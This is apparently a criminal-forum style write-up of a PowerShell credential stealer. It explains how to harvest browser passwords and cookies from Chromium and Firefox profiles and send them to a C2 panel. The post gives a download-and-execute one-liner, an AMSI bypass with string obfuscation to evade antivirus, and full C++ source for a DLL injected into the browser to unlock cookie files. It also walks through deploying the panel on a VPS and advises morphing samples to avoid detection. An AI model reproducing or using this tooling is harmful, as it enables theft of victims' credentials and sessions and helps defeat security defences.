Stealer written in powershell.
- Collecting passwords of Firefox based and Chromium based browsers
- Stiller itself is almost entirely written in powershell. The exception is the DLL that will be injected into the chrome process to unlock cookies. About the unlock itself in the next paragraph. There is also a small insertion of C# code to import rstrtmgr.dll but you can forgive me here, because pwsh just can't do it)
- Unlock cookies when Chrome is running/Edge and so on. The browser process is not killed at the same time, everything happens without unnecessary paling.
- DLL to shellcode converter. I have not seen the implementation of this in powershell in the public. There is one hanging out on the github, but there it is the C# code wrapped in pwsh. Here everything is written in pwsh itself. We will use this functionality for the aforementioned cookie unlock. The DLL and its arguments are taken, everything is converted into shellcode and injected into the browser process. The technique of the injection itself is not mine, but I do not claim its authorship specifically.
- Server-side decryption of passwords and cookies, with the exception of older versions of chrome, passwords are decrypted using DPAPI, and it is better to do this on the PC itself. Otherwise, everything is server-side, so as not to trigger the avery in vain. Chrome decryption is performed using python libraries. Decryption of ff using NSS libraries, since they can be installed on nix servers with one command.
Even if you don’t understand coding, I still recommend reading this section, for a better understanding of what works and how, it never hurts.
Let’s start with the base) Powershell is a scripting language and the ps1 format is not executable. Therefore, the classic in pwsh malware is to run it using cmd commands, these cmd commands will already be sewn into other executable formats (exe, vbs, js and what else is there). Yes, there seem to be other ways to launch, but in the vast majority of cases, this is exactly what happens. If you are pouring installations from the loader, then the loader will also need to give this cmd (or pwsh, depending on the loader) command. But there is one problem with this approach: the cmd command will not be able to cram the code of the entire stiller, because there is a limit on the number of characters, there should be no more than 8191. Therefore, the so-called oneliner’s, one and line, one-liners of the type are used) As a rule, in a wanliner, everything comes down to downloading the malvari body and executing it. The admin panel will give you the modified wanliners, but in their pure form in our case they will look like this:
cmd:
powershell -ep bypass "Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://127.0.0.1:5000/st/')"
pwsh:
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://127.0.0.1:5000/st/')
What is happening here is exactly what I described above. The web client downloads the stiller and launches it using the Invoke-Expression function, which is something like eval in python or js.
Now let’s go through the stiller. I will not paint the varieties, because you can look at them yourself, I will explain the logic of execution in a thesis.
- The Get-PCInformation function collects information about hardware, username, timezone, etc., there is nothing special here, typical functionality for any stiller.
- The Get-Browsers function is launched,
2.1. Here, first, chromium based browser profiles are searched recursively in the %LOCALAPPDATA% folder, and data collection is started for each profile in the for loop.
2.1.1. At this stage, everything starts with obtaining a key for decrypting passwords and cookies. The masterkey itself is encrypted in a file C:/путь/до/папки/браузера/Local State, we decrypt it using DPAPI.
2.2.2. Reading the log file (C:/путь/до/профиля/Login Data). If the browser is running, then the file is readable, but simple copying helps here, so we copy and read the copy already. Parse the Sqlite database with a reader (Dump-DB function), look at the values of encrypted passwords. If the password starts with bytes @(118.49.48), then it was encrypted with a relatively new version of chrome and it can be decrypted on the server side using the previously obtained masterkey. In this case, we just write all the values to the array. Otherwise, the password is decrypted in the same way using DPAPI and put in the result already in plain text.
2.2.3. Reading the cookie file (C:/путь/до/профиля/Network/Cookies or С:/путь/до/профиля/Соокіеѕ ). Everything, including parsing and decryption, is done by analogy with the logindate. The only but important exception is that since recent times chromium based browsers have been locking cookies and it cannot even be copied. This happens because the browser opens a cookie file with the FILE_SHARE_NONE argument. Unlock without admin rights can be performed only from the process that opened the file, that is, from the browser process. You can, of course, kill the process, but let’s be careful, let’s try to unlock the file. To do this, the Unlock-File function is called, you need to find the PID of the process in it (the Get-FileLockProcess function) and inject the pre-prepared shellcode. We check the bit depth of the process, and download the necessary DLL from the panel, call the ConvertTo-Shellcode function, it will put the path to the cookie file in the dll and return the shellcode. We will insert it into the chrome process in the Invoke-Shellcode function. We wait 10 seconds for the shellcode to rustle and try to read the file. Voila, everything is ready)
2.2.4. We return all the information received and throw it into the array. We do all this with each profile.
2.2. Next, we search for all profiles of Firefox based browsers and scroll through each profile in a loop.
2.2.1. Here absolutely all decryption takes place on the server side by NSS libraries. They need to submit a data folder to log in, so we don’t fool ourselves with parsing files here, but just read the key4.db, cert9.db, logins.json, cookies.sqlite files in the profile. That will be enough. Files are locked by firebox, but as in the case of the chrome log file, simple copying helps. - We convert the received data into JSON format. Yes, this is a couple of hundred lines of code, but on the python server side it is perfectly parsed and stored in the database.
- We encrypt the data with the usual AES. You can do without it, but it won’t be superfluous. The connection is not secure, and maybe some kind of aversion will sniff traffic.
- We send it to the server. The server receives everything, parses, decrypts what is needed, does not decrypt what is not necessary, and puts it in the database.
So, what is AMSI? This is an abbreviation of the Anti malware Scan Interface. All scripts and commands submitted to them are sent to this interface by pvs and other scripting languages. The aver also listens to him, and if he sees something suspicious in the script / command, then the pvh cannot execute it. According to MS’s idea, this should greatly help to catch malicious code in scripting languages, but in the case of powershell it costs a lot.
The basic crawl looks like this:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
There is another one, but it has more code, so let's stop at that) Here with the help of reflection.NET we take the System class.Management.Automation.AmsiUtils and rewrite the amsiInitFailed property in it, setting it to true. As the name implies, this property displays the status of the amsi session, whether it was blocked during initialization or not. Also in this class there is a Scan Content method that sends the contents of the script to scan the ad. But if he sees that amsiInitFailed is set to true, then nothing is sent anywhere. Stupid? Well, yes, but this is Microsoft, so there's nothing to be surprised about.
We try to execute the above code, but it does not run, we catch an error with the following contents:
The thing is that the amsi bypass itself contains signatures, which are caught by the aver. We execute the script in parts, we see that these signatures are ‘System.Management.Automation.AmsiUtils’, ‘amsiInitFailed’ and ‘setValue’, we will need to bring them down, having modified them a little, even the most primitive string obfuscation techniques work here. Here is an example of a construction that can be obtained by diluting signatures with random special characters, and calling replace() when executing
[ref].Assembly.GetType('S*y!s*t*e*m!.!M!a$n!a*g!e*m*e!n!t$.$A*u*t!o!m*a*t$i*o*n!.!A!m*s*i!U*t$i*l!s*'.replace('$','').replace('!','').replace('*','')).GetField('a!m=s-i-I=n=i-t-F=a-i!l!e-d='.replace('!','').replace('=','').replace('-',''), 'NonPublic,Static').('S)e%t%V)a}l%u%e}'.replace('}','').replace(')','').replace('%',''))($null, $true)
We are executing
Everything is OK, there are no errors, amsi is disabled.
Replays are shown here as an example, in fact, you can come up with a bunch of things. For example, to overtake everything in a char array, and when executed, make it back a string. Or use splits and so on. Here the set of techniques is almost unlimited.
Now, bypassing amsi, using the same Invoke-Expression, you can run, in fact, any code.
While we are exiting this session and opening a new one, we are not disabling amsi yet. For clarity, let’s take a mini script that obviously has a signature. Let it be
Write-Host 'Invoke-Shellcode'
We prescribe a bypass of amsi, try to run
Next, we need to assemble into one script both the amsi bypass and the launch of a command with a signature through the Invoke-Expression function, which I mentioned earlier. But here a problem arises: in the script, we already carry the signature with us, and we only have to bypass amsi, we can get burned before launching. Here, too, the solution is extremely simple, the part that we will put into the Invoke-Expression we can also measure or cover with encoding or some simple encryption. For example, we will create a base64 string from this code, and in the script itself, before execution, we will get normal code from it. As a result, the resulting script will look like this:
[ref].Assembly.GetType('S*y!s*t*e*m!.!M!a$n!a*g!e*m*e!n!t$.$A*u*t!o!m*a*t$i*o*n!.!A!m*s*i!U*t$i*l!s*'.replace('$','').replace('!','').replace('*','')).GetField('a!m=s-i-I=n=i-t-F=a-i!l!e-d='.replace('!','').replace('=','').replace('-',''), 'NonPublic,Static').('S)e%t%V)a}l%u%e}'.replace('}','').replace(')','').replace('%',''))($null, $true)
iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('V3JpdGUtSG9zdCAnSW52b2tlLVNoZWxsY29kZSc=')))
Again, base64 encoding is given here just as an example, you can shove anything instead, the main thing is to knock down the signatures on the way. And what goes into the Invoke-Expression is no longer important, because the amc will be disabled.
In much the same way, the panel gives the vanliner the body of the stiller, it is just sewn into this structure instead of our test script. Everything is done through python and jinja templates. You can see the result in the admin panel on the builds page or by digging into the samples. Also, the panel will slightly morph the vanliners themselves in those places where the obverse can potentially become infected. These are the strings ‘System.Net.WebClient’, ‘DownloadString’ and the IP address of the panel.
Install the panel
We take a regular Linux VPS, fill in the archive there. The following instructions are made for Debian 11, but in principle you can raise it on any Linux. Only the commands, of course, may differ.
We start by upgrading and installing the necessary packages
apt-get update && apt-get upgrade -y
apt-get install libnss3-dev libnss3 python3 python3-pip unzip gnupg curl p7zip-full -y
Installing and configuring MongoDB (if you do not have debian 11, then the repositories may differ. look up-to-date on https://www.mongodb.com /)
curl -fsSL https://www.mongodb.org/static/pgp/server-7.0.asc | \
gpg -o /usr/share/keyrings/mongodb-server-7.0.gpg \
--dearmor
echo "deb [ signed-by=/usr/share/keyrings/mongodb-server-7.0.gpg ] http://repo.mongodb.org/apt/debian bullseye/mongodb-org/7.0 main" | tee /etc/apt/sources.list.d/mongodb-org-7.0.list
apt-get update
apt-get install mongodb-org -y
systemctl enable mongod
systemctl start mongod
mkdir -p /data/db
chown -R mongodb:mongodb /data/db
chown -R mongodb:mongodb /var/lib/mongodb
chown mongodb:mongodb /tmp/mongodb-27017.sock
systemctl restart mongod
Let’s see if everything is OK by running the command
systemctl status mongod
Unpacking the archive with the panel
7z x panel.zip
Go to the folder with the samples
cd panel
Installing the necessary python libraries
pip3 install -r requirements.txt
To launch in production mode, we will use gunicorn as a WSGI server. It has already been installed by us using pip.
Launching:
gunicorn --bind 0.0.0.0:5000 --workers=3 --timeout 240 wsgi:app
Open the browser, click on the link 1.1.1.1:5000/admin/ (replace the ip address with yours)
Here we will be greeted by a window with the creation of an admin user. Creating it.
I already wrote about this when I described the panel, but I repeat. Go to settings and set the ip address of the panel in the corresponding line. It will be sewn into the vanliners and stiller, that’s where it will knock.
This is enough for tests, but one more thing needs to be done for constant work. We started the server with a command from the console, therefore, if we exit the console, then the server will turn off, we do not need it, therefore, on our VPS we need to run the panel as a service, roughly speaking, as a background process with autorun after reboots, etc.
Creating the file/etc/systemd/system/stealer.service
We write the following into it:
[Unit]
Description=Gunicorn instance to serve stealer
After=network.target
[Service]
User=root
Group=www-data
WorkingDirectory=/root/panel
ExecStart=/usr/local/bin/gunicorn --workers 3 --timeout 240 --bind 0.0.0.0:5000 wsgi:app
[Install]
WantedBy=multi-user.target
In the Service section, we change the User value to our own.
Also, in the Working Directory, specify the path to the folder with the panel.
In ExecStart, we change the path to gunicorn to our own (for me it is /usr/local/bin/gunicorn). You can find it out by running the command
which gunicorn
Save the file and execute the commands:
systemctl start stealer
systemctl enable stealer
Making sure that the service has started
systemctl status stealer
WHAT’S NEXT ?
You can’t write a universal malware for everyone, so during operation you may encounter a number of problems, so I’ll try to explain what ideally everyone will have to do for themselves. A very basic coding skill will come in handy, or the desire to acquire this skill along the way. Let’s go through the nuances:
-The provided bypass of AMSI and wanliners will expire sooner or later. It would have worked for months, but considering that the software goes public, it’s a matter of a couple of days, so you’ll need your own edits. It’s unlikely to be difficult, but still, you need to know what to fix and where. I gave general information on AMSI, everyone can take the samples and make the necessary changes, add their own morphing techniques, maybe combine them somehow, and so on. The more unique your method is, the better. But you have the varieties, so everything is in your hands)
-The DLLs that we will inject into browsers for unlocking cookies will be jerked off even earlier, because immediately after publication some will run to fill them on VT, and perhaps some whitehats will have a hand in this) Bypassing AMSI will not save you here, because it helps from signature detectors, and if you write dirt from under the powershell process to the memory of another process, then any aver will burn it. Therefore, the ideal option for everyone here would be to morph or dilute their samples with garbage code and compile them in a new way. Such a unique DLL will last you a long time. Alternatively, you can cryptanalyze them with a unique stub, but it’s expensive, and the question is whether the stub will be unique. Therefore, it is better to use pens) There are a couple of articles on these topics on the forum, and Google should be full of information.
But so far, at the time of publication, everything is working out of the box, so, welcome)
And one more important point:
Before using in combat mode, delete or comment out all lines with the Write-Host command in the stiller. They are made for clarity, they are not needed to work in the prod, moreover, if the script is run in an executable format, then it may fail in these places, because it will not have access to the console.
Sorc DLL for unlocking the cookie file:
#include "pch.h"
#include <Windows.h>
#include <iostream>
#include <strsafe.h>
#include <psapi.h>
#include <tchar.h>
#include <process.h>
#include <winternl.h>
#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 16
#define ObjectTypeInformation 2
#define ObjectTypeInformationSize 1024 * 1024 * 16
#define NT_SUCCESS(x) ((signed int)(x) >= 0)
#define BUFSIZE 512
#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 16
#define ObjectTypeInformation 2
#define ObjectTypeInformationSize 1024 * 1024 * 16
#define NT_SUCCESS(x) ((signed int)(x) >= 0)
#define BUFSIZE 512
using fNtQuerySystemInformation = NTSTATUS(WINAPI*)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
using fNtDuplicateObject = NTSTATUS(WINAPI*)(
HANDLE SourceProcessHandle,
HANDLE SourceHandle,
HANDLE TargetProcessHandle,
PHANDLE TargetHandle,
ACCESS_MASK DesiredAccess,
ULONG Attributes,
ULONG Options
);
using fNtQueryObject = NTSTATUS(WINAPI*)(
HANDLE ObjectHandle,
ULONG ObjectInformationClass,
PVOID ObjectInformation,
ULONG ObjectInformationLength,
PULONG ReturnLength
);
typedef enum _POOL_TYPE
{
NonPagedPool,
PagedPool,
NonPagedPoolMustSucceed,
DontUseThisType,
NonPagedPoolCacheAligned,
PagedPoolCacheAligned,
NonPagedPoolCacheAlignedMustS
} POOL_TYPE, * PPOOL_TYPE;
typedef struct _OBJECT_TYPE_INFORMATION
{
UNICODE_STRING Name;
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG TotalPagedPoolUsage;
ULONG TotalNonPagedPoolUsage;
ULONG TotalNamePoolUsage;
ULONG TotalHandleTableUsage;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
ULONG HighWaterPagedPoolUsage;
ULONG HighWaterNonPagedPoolUsage;
ULONG HighWaterNamePoolUsage;
ULONG HighWaterHandleTableUsage;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccess;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
USHORT MaintainTypeList;
POOL_TYPE PoolType;
ULONG PagedPoolUsage;
ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT ProcessID;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
BOOL GetFileNameFromHandle(HANDLE hFile, WCHAR* fName)
{
BOOL bSuccess = FALSE;
TCHAR pszFilename[MAX_PATH + 1];
HANDLE hFileMap;
hFileMap = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
if (hFileMap)
{
void* pMem = MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 1);
if (pMem)
{
if (GetMappedFileName(GetCurrentProcess(), pMem, pszFilename, MAX_PATH))
{
TCHAR szTemp[BUFSIZE];
szTemp[0] = '\0';
if (GetLogicalDriveStrings(BUFSIZE - 1, szTemp))
{
TCHAR szName[MAX_PATH];
TCHAR szDrive[3] = TEXT(" :");
BOOL bFound = FALSE;
TCHAR* p = szTemp;
do
{
*szDrive = *p;
if (QueryDosDevice(szDrive, szName, MAX_PATH))
{
size_t uNameLen = _tcslen(szName);
if (uNameLen < MAX_PATH)
{
bFound = _tcsnicmp(pszFilename, szName, uNameLen) == 0
&& *(pszFilename + uNameLen) == _T('\\');
if (bFound)
{
TCHAR szTempFile[MAX_PATH];
StringCchPrintf(szTempFile, MAX_PATH, TEXT("%s%s"), szDrive, pszFilename + uNameLen);
StringCchCopyN(pszFilename, MAX_PATH + 1, szTempFile, _tcslen(szTempFile));
}
}
}
while (*p++);
} while (!bFound && *p);
}
}
bSuccess = TRUE;
UnmapViewOfFile(pMem);
}
CloseHandle(hFileMap);
}
else {
CloseHandle(hFileMap);
return bSuccess;
}
wcscpy_s(fName, MAX_PATH, pszFilename);
return bSuccess;
}
extern "C" __declspec(dllexport) int CloseHandles(WCHAR * fileName) {
fNtDuplicateObject NtDuplicateObject = (fNtDuplicateObject)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDuplicateObject");
fNtQuerySystemInformation NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation");
fNtQueryObject NtQueryObject = (fNtQueryObject)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryObject");
ULONG returnLenght = 0;
PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)malloc(SystemHandleInformationSize);
NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLenght);
int PID = _getpid();
for (int i = 0; i < handleTableInformation->NumberOfHandles; i++) {
SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];
if (handleInfo.ProcessID == PID)
{
HANDLE processHandle = NULL;
HANDLE dupHandle = NULL;
if (!(processHandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, handleInfo.ProcessID))) {
continue;
}
if (!NT_SUCCESS(NtDuplicateObject(processHandle, (HANDLE)handleInfo.HandleValue, GetCurrentProcess(), &dupHandle, GENERIC_READ, 0, DUPLICATE_SAME_ACCESS))) {
CloseHandle(processHandle);
CloseHandle(dupHandle);
continue;
}
POBJECT_TYPE_INFORMATION objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(ObjectTypeInformationSize);
if (!NT_SUCCESS(NtQueryObject(dupHandle, ObjectTypeInformation, objectTypeInfo, ObjectTypeInformationSize, NULL)))
{
free(objectTypeInfo); CloseHandle(processHandle); CloseHandle(dupHandle);
continue;
}
if (wcscmp(objectTypeInfo->Name.Buffer, L"File"))
{
free(objectTypeInfo); CloseHandle(processHandle); CloseHandle(dupHandle);
continue;
}
WCHAR* wHandleFileName = new WCHAR[MAX_PATH]();
if (!GetFileNameFromHandle(dupHandle, wHandleFileName))
{
free(objectTypeInfo); free(wHandleFileName); CloseHandle(processHandle); CloseHandle(dupHandle);
continue;
}
if (fileName == std::wstring(wHandleFileName)) {
CloseHandle(dupHandle);
dupHandle = NULL;
NtDuplicateObject(processHandle, (HANDLE)handleInfo.HandleValue, GetCurrentProcess(), &dupHandle, GENERIC_READ, 0, DUPLICATE_CLOSE_SOURCE);
free(objectTypeInfo); free(wHandleFileName); CloseHandle(dupHandle); CloseHandle(processHandle);
break;
}
free(objectTypeInfo); free(wHandleFileName); CloseHandle(dupHandle); CloseHandle(processHandle);
}
}
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Note: to unlock Cookies, it is enough to simply put out the browser process that occupies this file, killing the process does not affect the browser in any way. You can determine the PID using the Restart Manager. Injection is not a bad solution, but it will lead to detection in runtime.
THE NOTE This article is for informational purposes only. We do not encourage you to commit any hacking. Everything you do is your responsibility.
TOX : 340EF1DCEEC5B395B9B45963F945C00238ADDEAC87C117F64F46206911474C61981D96420B72
Telegram : @DevSecAS
More from Uncategorized
Fortinet FortiOS / FortiProxy Unauthorized RCE
CVE-2024-21762 is a buffer overflow write vulnerability in Fortinet Fortigate and FortiProxy. This vulnerability allows an unauthorized attacker to execute …
Active Directory Dumper 2
We check the architecture for strength – an attempt to cram in the unintelligible – we fasten the network resource …
Active Directory Dumper
The purpose of this article is to show the use of the principles of building an application architecture. 1.1.1 What we …